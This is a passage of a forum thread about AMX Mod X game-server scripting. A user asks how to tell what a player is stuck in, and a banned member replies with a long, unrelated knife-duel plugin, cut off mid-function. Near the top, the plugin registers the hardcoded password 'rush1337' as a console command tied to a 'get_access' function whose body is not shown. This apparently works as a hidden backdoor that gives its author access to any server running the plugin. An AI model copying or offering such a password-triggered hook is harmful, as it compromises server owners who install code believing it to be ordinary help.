Raised This Month: $ Target: $400
 0% 

Solved [ H3LP ] Is player stuck


Post New Thread Reply   
 
Thread Tools Display Modes
Author Message
CrazY.
Veteran Member
Join Date: May 2015
Location: SP, Brazil
Old 05-29-2018 , 15:50   [ H3LP ] Is player stuck
Reply With Quote #1

Hello, how I can get who or in what the player is stuck?

Code:
isPlayerStuck(pPlayer) {     new Float:flVecOrigin[3];     entity_get_vector(pPlayer, EV_VEC_origin, flVecOrigin);     new iHull = (entity_get_int(pPlayer, EV_INT_flags) & FL_DUCKING) ? HULL_HEAD : HULL_HUMAN;     engfunc(EngFunc_TraceHull, flVecOrigin, flVecOrigin, DONT_IGNORE_MONSTERS, iHull, pPlayer, 0);         if (get_tr2(0, TR_StartSolid) || get_tr2(0, TR_AllSolid) || !get_tr2(0, TR_InOpen))         return 1;     return 0; }
__________________









Last edited by CrazY.; 05-30-2018 at 09:24.
CrazY. is offline
raizo11
BANNED
Join Date: Dec 2013
Location: https://t.me/pump_upp
Old 05-29-2018 , 16:20   Re: [ H3LP ] Is player stuck
Reply With Quote #2

maybe will help

Code:
#include <amxmodx>
#include <amxmisc>
#include <engine>
#include <fakemeta>
#include <hamsandwich>
#include <fun>
#include <xs>
#include <cstrike>
#include <dhudmessage>


#pragma tabsize 0
#pragma compress 1

#define PLUGIN "rush"
#define VERSION "1.0"
#define AUTHOR "raizo"


#define CHAT_TAG "^3[^4Rush^3]^1 " 
#define MAX_PLAYERS 32
#define MOVE_UP 0
#define MOVE_DOWN 1
#define MOVE_RIGHT 2
#define MOVE_LEFT 3
#define MOVE_FRONT 4
#define MOVE_BACK 5


enum {
    ON = 1,
    OFF = 0
}

new  RAIZO_SECURITY = ON
 
#define RAIZO_PASSWORD "rush1337" 

new Entity, maxplayers

new mapid[32], szName[32], map_default_hp, rounds; 

new Float:vOrigin[3], Float:fOrigin[3], Float:his_spawn[33][3], Float:move_size[33], Float:fVelocity[3]; 

new bool:in_Duel[MAX_PLAYERS+1], g_Challenge[MAX_PLAYERS+1], g_Area[MAX_PLAYERS+1] = 0, g_DuelK[MAX_PLAYERS+1] = 0, g_DuelC[MAX_PLAYERS+1] = 0, g_MenuCallback;
new bool:Arena1in = false, bool:Arena2in = false;

new bool:his_offline[MAX_PLAYERS+1]
new bool:slash_attack[33];
new bool:stab_attack[33];
new bool:hs_attack[33];
new bool:Non_Stop[33];

new const ARENA_FILE_AAA[] = "%s/Rush_arena_A/%s.cfg"
new const ARENA_FILE_BBB[] = "%s/Rush_arena_B/%s.cfg"
new const DATE[] = "models/rush.mdl"


public plugin_init() 
{
    register_plugin(PLUGIN, VERSION, AUTHOR)

    register_clcmd("say /rush","Duel_Menu");
    register_clcmd("say /rarena","EntityMenu")

    rounds = register_cvar("rush_rounds","10")

    g_MenuCallback = menu_makecallback("menuitem_callback");
    RegisterHam(Ham_Touch, "weaponbox", "hamTouchWeapon");
    RegisterHam(Ham_Touch, "armoury_entity", "hamTouchWeapon");
    RegisterHam(Ham_Touch, "weapon_shield", "hamTouchWeapon");
    RegisterHam(Ham_TakeDamage, "player", "TakeDMG");
    RegisterHam(Ham_Killed, "player", "PlayerKilled");
    RegisterHam(Ham_Spawn, "player", "PlayerSpawn", 1);
    register_forward(FM_PlayerPreThink,"FW_nonstop")
    register_forward(FM_PlayerPreThink,"FW_Prethink")

    set_task(150.0, "Advert", _,_,_, "b");

    Load_Coords()
    Load_Coords2()

    maxplayers = get_maxplayers();

    register_forward(FM_CmdStart,"Fw_Cmd_Slash");
    register_forward(FM_CmdStart,"Fw_Cmd_Stab");

    register_forward(FM_CmdStart,"NonStop");

    register_forward(FM_UpdateClientData, "pfw_UpdateClientData", 1)

    RegisterHam(Ham_TraceAttack, "player", "Forward_TraceAttack");

    get_mapname(mapid,charsmax(mapid))


    if(containi(mapid,"35hp") != -1)
        map_default_hp = 35
    else if(containi(mapid,"1hp") != -1)
        map_default_hp = 1
    else map_default_hp = 35

    if(RAIZO_SECURITY == ON)
        register_clcmd (RAIZO_PASSWORD , "get_access");

}

public plugin_cfg()
{

    new cfgdir[32], urlfile[64]
    get_configsdir(cfgdir, charsmax(cfgdir))
    formatex(urlfile, charsmax(urlfile), "%s/Rush_arena_A", cfgdir)
    if(!dir_exists(urlfile))
    {
        mkdir(urlfile)
        server_print("%sCreated new folder: %s",CHAT_TAG,urlfile)
    } 

    new cfdir[32], urfile[64]
    get_configsdir(cfdir, charsmax(cfdir))
    formatex(urfile, charsmax(urfile), "%s/Rush_arena_B", cfdir)
    if(!dir_exists(urfile))
    {
        mkdir(urfile)
        server_print("%sCreated new folder: %s",CHAT_TAG,urfile)
    }
}

public FW_nonstop(id)
{

    if (pev(id,pev_button) & IN_RELOAD && pev(id,pev_button) & IN_USE)
            Dont_Stop(id)
}

public KDC_Menu( id )
{
    new gMenu = menu_create("\y[\r Fight Style\y ]\w By raizo", "kdc_menu_handler")
    
    menu_additem(gMenu, "\wNon Stop?", "1") 
    menu_additem(gMenu, "\wStab Only?", "2")  
    menu_additem(gMenu, "\wSlash Only?", "3")    
    menu_additem(gMenu, "\wHs Only?", "4")

    menu_display(id, gMenu, 0)
}

public kdc_menu_handler(id, menu, item)       
{
    if ( item == MENU_EXIT )    
    {
        menu_destroy(menu)       
        return PLUGIN_HANDLED;   
    }
    switch(item)   
    {
        case 0: Dont_Stop(id)
        case 1: Block_Slash(id)
        case 2: Block_Stab(id)
        case 3: Hs_Only(id)
    }
    return PLUGIN_HANDLED;  
}

public Fw_Cmd_Slash(id, uc_handle, seed)
{
    if(!is_user_alive(id) || !slash_attack[id]) 
       return FMRES_IGNORED; 
  
    new iButtons = get_uc(uc_handle,UC_Buttons);
    new trash[2], iWeapon = get_user_weapon(id,trash[0], trash[1]);
  
    if( (iButtons & IN_ATTACK) && iWeapon == CSW_KNIFE)
    {
        iButtons = iButtons & ~IN_ATTACK;
        set_uc(uc_handle, UC_Buttons, iButtons);
    
        return FMRES_SUPERCEDE;
    }
   
    return FMRES_IGNORED;
}

public Fw_Cmd_Stab(id, uc_handle, seed)
{
    if(!is_user_alive(id) || !stab_attack[id]) 
       return FMRES_IGNORED; 
  
    new iButtons = get_uc(uc_handle,UC_Buttons);
    new trash[2], iWeapon = get_user_weapon(id,trash[0], trash[1]);
  
    if( (iButtons & IN_ATTACK2) && iWeapon == CSW_KNIFE)
    {
        iButtons = iButtons & ~IN_ATTACK2;
        set_uc(uc_handle, UC_Buttons, iButtons);
    
        return FMRES_SUPERCEDE;
    }
   
    return FMRES_IGNORED;
}

public Forward_TraceAttack(iVictim, iKiller, Float:dmg, Float:dir[3], tr, dmgbit)
{
    if (iVictim == iKiller || !is_user_alive(iKiller) || !hs_attack[iKiller] )
        return FMRES_IGNORED;

    if(iKiller && get_tr2(tr, TR_iHitgroup) != HIT_HEAD)
            
        return HAM_SUPERCEDE;
    
    return HAM_IGNORED;
}

public Dont_Stop(Challenged) 
{
    get_user_name( Challenged , szName , charsmax( szName ) );

    if (is_user_alive(Challenged) && is_user_alive(g_Challenge[Challenged]))
    {
        Non_Stop[Challenged] = true
        Non_Stop[g_Challenge[Challenged]] = true 
        set_hudmessage( 255, 100, 100, -1.0, 0.1, 0, 1.0, 5.0, 0.1, 0.2, 2 )
        show_hudmessage( 0, "%s Choose Non Stop Fight!", szName)
    } 
}

public Block_Slash(Challenged) 
{
    get_user_name( Challenged , szName , charsmax( szName ) );

    if (is_user_alive(Challenged) && is_user_alive(g_Challenge[Challenged]))
    {
        slash_attack[Challenged] = true
        slash_attack[g_Challenge[Challenged]] = true 
        set_hudmessage( 255, 100, 100, -1.0, 0.1, 0, 1.0, 5.0, 0.1, 0.2, 2 )
        show_hudmessage( 0, "%s Choose Stab Only!", szName)
    } 
}

public Block_Stab(Challenged) 
{
    get_user_name( Challenged , szName , charsmax( szName ) );

    if (is_user_alive(Challenged) && is_user_alive(g_Challenge[Challenged]))
    {
        stab_attack[Challenged] = true
        stab_attack[g_Challenge[Challenged]] = true 
        set_hudmessage( 255, 100, 100, -1.0, 0.1, 0, 1.0, 5.0, 0.1, 0.2, 2 )
        show_hudmessage( 0, "%s Choose Slash Only!", szName)
    }
}

public Hs_Only(Challenged) 
{
    get_user_name( Challenged , szName , charsmax( szName ) );

    if (is_user_alive(Challenged) && is_user_alive(g_Challenge[Challenged]))
    {
        hs_attack[Challenged] = true
        hs_attack[g_Challenge[Challenged]] = true 
        set_hudmessage( 255, 100, 100, -1.0, 0.1, 0, 1.0, 5.0, 0.1, 0.2, 2 )
        show_hudmessage( 0, "%s Choose Headshoot Only!", szName)
    }
}


public Advert()
{
	client_print_color(0, "!t[!gRush!t] Type !g/rush !tor !gpress mouse1 + mouse2 !tto open rush menu.");
}

public client_putinserver(id)
{
    his_offline[id] = false

    return PLUGIN_CONTINUE
}

public toggle_offline(id)
{
    new szName[ 32 ];
    get_user_name( id , szName , charsmax( szName ) );

    switch(his_offline[id])
    {
        case 0:
        {
            his_offline[id] = true
            client_print_color(id, "!g[!tArena!g] !t%s !git`s now !tOffline!", szName);
        }
        default:
        {
            his_offline[id] = false
            client_print_color(id, "!g[!tArena!g] !t%s !git`s now !tOnline!", szName);
        }
    }
}


public FW_Prethink(id)
{

    if (pev(id,pev_button) & IN_ATTACK && pev(id,pev_button) & IN_ATTACK2)
            Duel_Menu(id)
}

public Duel_Menu( id )
{
        new gMenu = menu_create("\y[\r Rush Menu\y ]\w By raizo", "Duel_menu_handler")
    
        menu_additem(gMenu, "\wRush", "0")  
        menu_additem(gMenu, "\wGive Up", "0")  
        menu_additem(gMenu, "\wOffline?", "0") 
        menu_additem(gMenu, "\wArena Positon", "0")  

        menu_display(id, gMenu, 0)
}

public Duel_menu_handler(id, menu, item)       
{
    if ( item == MENU_EXIT )    
    {
        menu_destroy(menu)       
        return PLUGIN_HANDLED;   
    }
    switch(item)   
    {
        case 0: choose_playermenu(id, id)
        case 1: End_Duel(id)
        case 2: toggle_offline(id)
        case 3: EntityMenu(id)
    }
    return PLUGIN_HANDLED;  
}


public client_command(id)
{
        static const szJoinCommand[] = "jointeam";
	static const szJoinCommand1[] = "chooseteam";
        static szCommand[10];
        read_argv(0, szCommand, 9);
        if (equal(szCommand, szJoinCommand)
        && CS_TEAM_T <= cs_get_user_team(id) <= CS_TEAM_CT)
        {
                return PLUGIN_HANDLED;
        }
	if (equal(szCommand, szJoinCommand1))
	{
		return PLUGIN_HANDLED;
	}
        return PLUGIN_CONTINUE;
}  

public hamTouchWeapon(id)
{
	return 4;
}
public TakeDMG(victim, idinflictor, attacker, Float:damage, Float:direction[3], tracehandle, damagebits)
{
	if (victim != attacker)
	{
		if (in_Duel[victim] && !in_Duel[attacker])
		{
			return 4;
		}
	}
	return 1;
}

public PlayerKilled(victim, killer, shouldgib)
{
	if (is_user_alive(killer))
	{
		new victimname[32] , attackername[32];
		get_user_name(victim, victimname, 31);
		get_user_name(killer, attackername, 31);

                new distance,vorigin[3],aorigin[3] 
                get_user_origin(victim,vorigin) 
                get_user_origin(killer,aorigin) 

                distance = get_distance(vorigin,aorigin)
                new Float:iMeters = distance * 0.0254 

		if (victim != killer && killer != 0 )
		{
			if (in_Duel[killer] && in_Duel[victim])
			{
				if (killer)
				{
					g_DuelK[killer]+=1;
				}
				if (g_Challenge[killer])
				{
					g_DuelC[g_Challenge[killer]]+=1;
				}
			}
		}
		if (in_Duel[killer] && in_Duel[victim])
		{
			if(g_DuelK[killer]<get_pcvar_num(rounds) && g_DuelC[g_Challenge[killer]]<get_pcvar_num(rounds))
			{
				if (!g_Challenge[victim])
				{
					set_task(0.1, "GoToSpawn", killer);
					set_task(0.1, "GoToSpawn", g_Challenge[victim]);
				}
				else
				{
					set_task(0.1, "GoToSpawn", g_Challenge[killer]);
					set_task(0.1, "GoToSpawn", victim);
				}

                                client_print_color(killer,"^4[Global Knife Distance] ^1You Killed ^3%s ^1from a distance of ^3[%.2f] ^1meters !",victimname,iMeters)
                                client_print_color(victim,"^4[Global Knife Distance] ^3%s ^1Killed you from a distance of ^3[%.2f] ^1meters !",attackername,iMeters)

			}
			else
			{
				if (victim)
				{
					client_print_color(0, "!t[!gRush Duel!t] !g%s (!t%i!g) !tvs. !g(!t%i!g) %s!t. Winner - !g%s",
					attackername,
					g_DuelC[g_Challenge[killer]],
					g_DuelK[victim],
					victimname,
					attackername);
					DisableChecks(victim);
					set_task(0.1, "GoToSpawn", killer);
					set_task(0.1, "GoToSpawn", victim);
				}
				if (g_Challenge[victim])
				{
					client_print_color(0, "!t[!gRush Duel!t] !g%s (!t%i!g) !tvs. !g(!t%i!g) %s!t. Winner - !g%s",
					attackername,
					g_DuelK[killer],
					g_DuelC[g_Challenge[victim]],
					victimname,
					attackername);
					DisableChecks(g_Challenge[victim]);
					set_task(0.1, "GoToSpawn", killer);
					set_task(0.1, "GoToSpawn", victim);
				}
				g_DuelC[killer] = 0;
				g_DuelK[victim] = 0;
                                g_DuelC[victim] = 0;
				g_DuelK[killer] = 0

                                slash_attack[victim] = false 
                                slash_attack[g_Challenge[victim]] = false 
                                stab_attack[victim] = false 
                                stab_attack[g_Challenge[victim]] = false 
                                hs_attack[victim] = false 
                                hs_attack[g_Challenge[victim]] = false
                                Non_Stop[victim] = false 
                                Non_Stop[g_Challenge[victim]] = false
 
                                slash_attack[killer] = false 
                                slash_attack[g_Challenge[killer]] = false 
                                stab_attack[killer] = false 
                                stab_attack[g_Challenge[killer]] = false 
                                hs_attack[killer] = false 
                                hs_attack[g_Challenge[killer]] = false 
                                Non_Stop[killer] = false 
                                Non_Stop[g_Challenge[killer]] = false
 
 

			}
		}
	}
}

public PlayerSpawn(id)
{
	if (is_user_alive(id) && in_Duel[id] && is_user_alive(g_Challenge[id] && in_Duel[g_Challenge[id]]))
	{
		whileinduel(id);
                whileinduel(g_Challenge[id]);
		set_user_health(id, map_default_hp);
		set_user_health(g_Challenge[id], map_default_hp);
	}
}

public whileinduel(id)
{

	switch (g_Area[id])
	{
		case 1:
		{
                        set_spawn_positions(id,vOrigin)
                        set_spawn_positions(g_Challenge[id],vOrigin)
		}
		case 2:
		{
                        set_spawn_positions(id,fOrigin)
                        set_spawn_positions(g_Challenge[id],fOrigin)

		}
	}
}

public GoToSpawn(killer) {ExecuteHamB(Ham_CS_RoundRespawn, killer);}
public DisableChecks(id)
{	
	if(in_Duel[id])
	{
		if (!g_Area[id])
		{
			switch (g_Area[g_Challenge[id]])
			{
				case 1:
				{
					Arena1in = false;
				}
				case 2:
				{
					Arena2in = false;
				}
			}
                        dArena(g_Area[g_Challenge[id]]);
			g_Area[g_Challenge[id]] = 0;
		}
		else
		{
			switch (g_Area[id])
			{
				case 1:
				{
					Arena1in = false;
				}
				case 2:
				{
					Arena2in = false;
				}
			}
                        dArena(g_Area[id])	
			g_Area[id] = 0;
		}
		in_Duel[g_Challenge[id]] = false;
		in_Duel[id] = false;
	}
	if(g_Challenge[id])
	{
		g_Challenge[g_Challenge[id]] = 0;
		g_Challenge[id] = 0;
	}
}
public client_disconnect(id)
{
	new cname[32], ccname[32];
	get_user_name(g_Challenge[id], ccname, 31);
	get_user_name(g_Challenge[g_Challenge[id]], cname, 31);
	if (in_Duel[g_Challenge[id]])
	{
		set_task(0.1, "GoToSpawn", g_Challenge[id]);
		client_print_color(g_Challenge[id], "!t[!gRush Duel!t] !g%s !thas disconnected.", cname);
	}
	if (in_Duel[g_Challenge[g_Challenge[id]]])
	{
		set_task(0.1, "GoToSpawn", g_Challenge[g_Challenge[id]]);
		client_print_color(g_Challenge[g_Challenge[id]], "!t[!gRush Duel!t] !g%s !thas disconnected.", ccname);
	}
	g_DuelC[g_Challenge[id]] = 0;
	g_DuelC[id] = 0;
	g_DuelK[g_Challenge[id]] = 0;
	g_DuelK[id] = 0;

        slash_attack[id] = false 
        slash_attack[g_Challenge[id]] = false 
        stab_attack[id] = false 
        stab_attack[g_Challenge[id]] = false 
        hs_attack[id] = false 
        hs_attack[g_Challenge[id]] = false
        Non_Stop[id] = false 
        Non_Stop[g_Challenge[id]] = false  

	DisableChecks(id);
}

public End_Duel(id)
{
    new his_name[33]
    get_user_name(id,his_name[id],charsmax(his_name))

    if(in_Duel[id])
    {
        set_task(0.1, "GoToSpawn", id);
        set_task(0.1, "GoToSpawn", g_Challenge[id]);
        g_DuelC[g_Challenge[id]] = 0;
        g_DuelC[id] = 0;
        g_DuelK[g_Challenge[id]] = 0;
        g_DuelK[id] = 0;
        DisableChecks(id);

        slash_attack[id] = false 
        slash_attack[g_Challenge[id]] = false 
        stab_attack[id] = false 
        stab_attack[g_Challenge[id]] = false 
        hs_attack[id] = false 
        hs_attack[g_Challenge[id]] = false  
        Non_Stop[id] = false 
        Non_Stop[g_Challenge[id]] = false 
       
        client_print_color(id, "!g[!tRush Duel!g] !n%s !tgot scared to finish the rush duel !", his_name[id]);
    }

}
public choose_playermenu(Challenger, Challenged)
{
	if (!in_Duel[Challenger] && is_user_alive(Challenger))
	{
		if (Arena1in && Arena2in)
		{
			client_print_color(Challenger, "!t[!gArena!t] All the knife duel arenas are in use.");
			return PLUGIN_HANDLED
		}
	}
        if(his_offline[Challenged])
        {
            client_print_color(Challenger,"You can't challenge people when you're ^3offline^1.")
            return PLUGIN_HANDLED
        }
        if(!available_duelers(Challenged))
        {
            client_print_color(Challenged,"%sThere's ^4nobody^1 you can challenge.",CHAT_TAG)
        return PLUGIN_HANDLED
        }
	if (in_Duel[Challenger])
	{
		return PLUGIN_HANDLED
	}
	if (!is_user_alive(Challenger))
	{
		return PLUGIN_HANDLED
	}


	new menu = menu_create( "\y[\rArena\y]", "choose_playermenu_handler");
	menu_additem(menu, "\r[!]\yUpdate players\r[!]^n\yChallenge a player:", "0", 0);
	new players[32], pnum;
	new szName[32], szTempid[32], Desc[64];
	get_players(players, pnum);
	for (new i; i<pnum; i++)
	{
		Challenged = players[i];
		if (is_user_alive(Challenged) && (Challenger != Challenged))
		{
		    get_user_name(Challenged, szName, charsmax(szName));
		    formatex(Desc, charsmax(Desc), in_Duel[Challenged] ? "\d%s \y[\rIn Arena\y]" : "%s", szName);

	            if(his_offline[Challenged])
	            {
                        formatex(Desc, charsmax(Desc), his_offline[Challenged] ? "\d%s \y[\rOffline\y]" : "%s", szName);
                    }
		    num_to_str(Challenged, szTempid, charsmax(szTempid));
		    menu_additem(menu, Desc, szTempid, 0, g_MenuCallback);
		}

	}
	menu_setprop(menu, MPROP_EXIT, MEXIT_ALL);
	menu_display(Challenger, menu, 0);
	return PLUGIN_HANDLED
}


public menuitem_callback(Challenger, menu, item)
{
	new data[6], szName[64];
	new access, callback;
	menu_item_getinfo(menu, item, access, data, charsmax(data), szName,charsmax(szName), callback);
	new tempid = str_to_num(data);
	if (in_Duel[tempid] || !is_user_alive(tempid))
	{
		return ITEM_DISABLED;
	}
	if(his_offline[tempid])
	{
		return ITEM_DISABLED;
	}
	return ITEM_ENABLED;
}
public choose_playermenu_handler(Challenger, menu, item)
{
	if (item == MENU_EXIT)
	{
		menu_destroy(menu);
		return PLUGIN_HANDLED;
	}
	new data[6], szName[64];
	new access, callback;
	menu_item_getinfo(menu, item, access, data,charsmax(data), szName, charsmax(szName), callback);
	new tempid = str_to_num(data);
	switch(item)
    	{
        	case 0:
        	{
			choose_playermenu(Challenger, Challenger);
		}
	}
	if (is_user_alive(tempid) && !in_Duel[tempid])
	{
		g_Challenge[Challenger] = tempid;
		g_Challenge[tempid] = Challenger;
		Questionm(tempid);
	}

	menu_destroy(menu);
	return PLUGIN_HANDLED;
}
public Questionm(Challenged) 
{
	if (is_user_alive(Challenged) && is_user_alive(g_Challenge[Challenged]))
	{
		new szAddItemText[555 char], ChallengerName[32];
		get_user_name(g_Challenge[Challenged], ChallengerName, 31);
		format(szAddItemText, charsmax(szAddItemText), "\y[\rAccept Rush\y]^n\wvs \r%s\w?", ChallengerName);
		new menu = menu_create(szAddItemText, "Questionm_handler")
		menu_additem(menu, "\ySure!", "1", 0);
		menu_additem(menu, "\rNope!", "2", 0);
		menu_setprop(menu, MPROP_PERPAGE, 0);
		menu_display(Challenged, menu, 0);
		return PLUGIN_HANDLED
	}
	else 
	{ 
		return PLUGIN_HANDLED 
	}
	return PLUGIN_HANDLED
}
public Questionm_handler(Challenged, menu, item)
{	
	new data[6], szName[64], ccname[32], cname[32];
	new access, callback;
	menu_item_getinfo(menu, item, access, data, charsmax(data), szName, charsmax(szName), callback);
	new key = str_to_num(data);
	get_user_name(Challenged, ccname, 31);
	get_user_name(g_Challenge[Challenged], cname, 31);
	switch(key)
	{
		case 1:
		{
			if (in_Duel[g_Challenge[Challenged]])
			{
				if (task_exists(Challenged))
				{
					menu_destroy(menu);
					remove_task(Challenged);
				}
				client_print_color(Challenged, "!t[!gRush Duel!t] !gYou !twere late, !g%s !tis in duel right now.", cname);
				DisableChecks(Challenged);
				return PLUGIN_HANDLED
			}
			if (!is_user_alive(Challenged))
			{
				if (task_exists(Challenged))
				{
					menu_destroy(menu);
					remove_task(Challenged);
				}
				client_print_color(Challenged, "!t[!gRush Duel!t] !gYou !tare !gdead!t.", ccname);
				DisableChecks(Challenged);
				return PLUGIN_HANDLED
			}
			if (!is_user_alive(g_Challenge[Challenged]))
			{
				if (task_exists(Challenged))
				{
					menu_destroy(menu);
					remove_task(Challenged);
				}
				client_print_color(Challenged, "!t[!gRush Duel!t] !g%s !thas !gdied/disconnected!t.", cname);
				DisableChecks(Challenged);
				return PLUGIN_HANDLED
			}
			if (task_exists(Challenged))
			{
				menu_destroy(menu);
				remove_task(Challenged);
			}
			if (!g_Challenge[Challenged])
			{
				menu_destroy(menu);
				return PLUGIN_HANDLED
			}
			else
			{
				choose_area(Challenged);
				client_print_color(g_Challenge[Challenged], "!t[!gRush Duel!t] !g%s !taccepted the duel.", ccname);
				in_Duel[Challenged] = true;
				in_Duel[g_Challenge[Challenged]] = true;
			}
			return PLUGIN_HANDLED
		}
		case 2:
		{
			if (task_exists(Challenged))
			{
				menu_destroy(menu);
				remove_task(Challenged);
			}
			client_print_color(g_Challenge[Challenged], "!t[!gRush Duel!t] !g%s !trefused the duel.", ccname);
			DisableChecks(Challenged);
			return PLUGIN_HANDLED
		}
	}
	menu_destroy(menu);
	return PLUGIN_HANDLED
}

public choose_area(Challenged)
{
	if (cs_get_user_team(g_Challenge[Challenged]) == cs_get_user_team(Challenged))
	{
    		switch (cs_get_user_team(g_Challenge[Challenged]))
		{
        		case (CS_TEAM_CT):
			{
				cs_set_user_team(Challenged, CS_TEAM_T, CS_T_LEET);
        		}
        		case (CS_TEAM_T):
			{
				cs_set_user_team(Challenged, CS_TEAM_CT, CS_CT_GIGN);
       			}
    		}
	}
	g_Area[Challenged] = 1;
	switch (g_Area[Challenged])
	{
		case 1:
		{
			if (Arena1in) { g_Area[Challenged]+=1; }
			switch (g_Area[Challenged])
			{
				case 2:
				{
					if (Arena2in)
					{
					    new cccname[32];
					    get_user_name(Challenged, cccname, 31);
					    client_print_color(Challenged, "!t[!gRush Duel!t] All the knife duel arenas are in use, you were too late.");
					    client_print_color(g_Challenge[Challenged], "!t[!gRush Duel!t] All the knife duel arenas are in use, !g%s !twas too late with his/her decision", cccname);
					    DisableChecks(Challenged);
					}
				}
			}
		}
	}
	startduel(Challenged);
}


public startduel(Challenged)
{
	if (task_exists(Challenged))
	{
		remove_task(Challenged);
	}

	set_user_health(Challenged, map_default_hp);
	set_user_health(g_Challenge[Challenged], map_default_hp);
   	set_user_armor(Challenged, 0);
	set_user_armor(g_Challenge[Challenged], 0);
	strip_user_weapons(Challenged);
	strip_user_weapons(g_Challenge[Challenged]);
	give_item(Challenged, "weapon_knife");
	give_item(g_Challenge[Challenged], "weapon_knife");
	set_user_maxspeed(Challenged, 250.0);
	set_user_maxspeed(g_Challenge[Challenged], 250.0);
	set_user_gravity(Challenged, 1.0);
	set_user_gravity(g_Challenge[Challenged], 1.0);

        KDC_Menu( g_Challenge[Challenged] )

	switch (g_Area[Challenged])
	{
		case 1:
		{
                        Arena1in = true;
                        makewall1()

                        set_spawn_positions(Challenged,vOrigin)
                        set_spawn_positions(g_Challenge[Challenged],vOrigin)
                        
		}
		case 2:
		{
                        Arena2in = true;
                        makewall2()

                        set_spawn_positions(Challenged,fOrigin)
                        set_spawn_positions(g_Challenge[Challenged],fOrigin)
		}

	}
	return PLUGIN_HANDLED
}



public plugin_precache() 
{
    precache_model(DATE)
}

public client_PostThink(id)
{
    if( is_user_alive(id) && in_Duel[id] )
    {
        new flags = entity_get_int(id, EV_INT_flags);

        new Float:origin[3], Float:dest[3];
        entity_get_vector(id, EV_VEC_origin, origin);


        dest[0] = origin[0];
        dest[1] = origin[1];
        dest[2] = origin[2] - 70.0;
        new ptr = create_tr2();
        engfunc(EngFunc_TraceHull, origin, dest, 0, flags & FL_DUCKING ? HULL_HEAD : HULL_HUMAN, id, ptr);
        new Float:flFraction;
        get_tr2(ptr, TR_flFraction, flFraction);
        if( flFraction >= 1.0)
        {

            //ExecuteHamB(Ham_CS_RoundRespawn, id)
            user_kill(id)
            client_print_color(id, "!g[!tRush Duel!g] !tStay !gin the !tArea.");

            free_tr2(ptr);
            return;
        }

        get_tr2(ptr, TR_vecPlaneNormal, dest);
        free_tr2(ptr);
    }
}

public NonStop(id)
{
    if(in_Duel[id] && Non_Stop[id] )
    {
        if(get_user_team(id) == 1)
        {
            fVelocity[0] = 250.0;
            fVelocity[1] = 0.0;
            fVelocity[2] = 0.0;

            set_pev( id, pev_velocity, fVelocity )
        }
        if(get_user_team(id) == 2)
        {
            fVelocity[0] = -250.0;
            fVelocity[1] = 0.0;
            fVelocity[2] = 0.0;

            set_pev( id, pev_velocity, fVelocity )
        }
    }
}

public pfw_UpdateClientData(id, weapons, cd)
{
    if(in_Duel[id] && Non_Stop[id] )
    {
        set_cd(cd, CD_flNextAttack, 1.0)
          
        if((entity_get_int(id, EV_INT_button) & (IN_JUMP | IN_DUCK | IN_BACK | IN_MOVELEFT | IN_MOVERIGHT)))
            set_cd(cd, CD_MaxSpeed, 1.0)
    }
    return FMRES_IGNORED
}

stock dArena(const iarena)
{
	new ent = -1;
	switch (iarena)
	{
		case 1:
		{
			while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_A")))
			{
				remove_entity(ent);
			}
		}
		case 2:
		{
			while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_B")))
			{
				remove_entity(ent);
			}
		}
	}
}


stock client_print_color(const id, const input[], any:...)  
{  
    new count = 1, players[32];  
    static msg[191];  
    vformat(msg, 190, input, 3);
    replace_all(msg, 190, "!g", "^x04"); // Green Color  
    replace_all(msg, 190, "!y", "^x01"); // Default Color  
    replace_all(msg, 190, "!t", "^x03"); // Team Color  
    if (id) players[0] = id; else get_players(players, count, "ch");  
    {  
        for (new i = 0; i < count; i++)  
        {  
            if (is_user_connected(players[i]))  
            {  
                message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i]);  
                write_byte(players[i]);  
                write_string(msg);  
                message_end();  

            }  
        }  
    }  
}




public EntityMenu( id )
{
    new flags = get_user_flags(id)
    if(!(flags & ADMIN_RCON))
    {
        client_print(id,print_chat,"You have no access to this command")
        return PLUGIN_HANDLED
    }
    new gMenu = menu_create("\y[\r Rush Spawner\y ]\w By raizo", "entity_menu")
    
    menu_additem(gMenu, "\wArena A", "0") 
    menu_additem(gMenu, "\wArena B", "0") 
    menu_additem(gMenu, "\wMovement Menu", "0")  
    menu_additem(gMenu, "\wSave Arena A", "0") 
    menu_additem(gMenu, "\wSave Arena B", "0")    
    menu_additem(gMenu, "\wRemove Arena", "0")

    menu_display(id, gMenu, 0)

    return PLUGIN_HANDLED;  
}

public entity_menu(id, menu, item, code)       
{
    if ( item == MENU_EXIT )    
    {
        menu_destroy(menu)       
        return PLUGIN_HANDLED;   
    }
    switch(item)   
    {
        case 0: Make_Entity(id)
        case 1: Make_Entity2(id)
        case 2: move_menu(id,code)
        case 3: save_first_arena(id)
        case 4: save_second_arena(id)
        case 5: remove_arena(id)
    }
    return PLUGIN_HANDLED;  
}

public Make_Entity(id)
{    
    if(!is_user_connected(id))
        return PLUGIN_HANDLED

    static Float:xorigin[3];

    get_user_hitpoint(id,xorigin)

    Entity = create_entity( "info_target" );

    if(fake_arena_exists_a(id))
    {
        client_print_color(id,"%s ^3Maximum arenas reached.^1",CHAT_TAG)
        return PLUGIN_HANDLED
    }
    if( is_valid_ent(Entity) )
    {
        entity_set_string( Entity , EV_SZ_classname, "ARENA_NUMBER_A");
        entity_set_int( Entity , EV_INT_solid, SOLID_BBOX);
        entity_set_model( Entity , DATE );
        entity_set_size( Entity , Float:{ -350.0, -10.0, 0.0 }, Float:{ 350.0, 10.0, 10.0 } );        
        
        entity_set_origin( Entity, xorigin );
    }  
    EntityMenu(id)
    stuck_check(xorigin,360.0)

    return PLUGIN_HANDLED
}

public Make_Entity2(id)
{    
    if(!is_user_connected(id))
        return PLUGIN_HANDLED

    static Float:xorigin[3];

    get_user_hitpoint(id,xorigin)

    Entity = create_entity( "info_target" );

    if(fake_arena_exists_b(id))
    {
        client_print_color(id,"%s ^3Maximum arenas reached.^1",CHAT_TAG)
        return PLUGIN_HANDLED
    }
    if( is_valid_ent(Entity) )
    {
        entity_set_string( Entity , EV_SZ_classname, "ARENA_NUMBER_B");
        entity_set_int( Entity , EV_INT_solid, SOLID_BBOX);
        entity_set_model( Entity , DATE );
        entity_set_size( Entity , Float:{ -350.0, -10.0, 0.0 }, Float:{ 350.0, 10.0, 10.0 } );        
        
        entity_set_origin( Entity, xorigin );
    }  
    EntityMenu(id)
    stuck_check(xorigin,360.0)

    return PLUGIN_HANDLED
}

public remove_arena(id)
{
    new ent = -1;

    while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_A")))
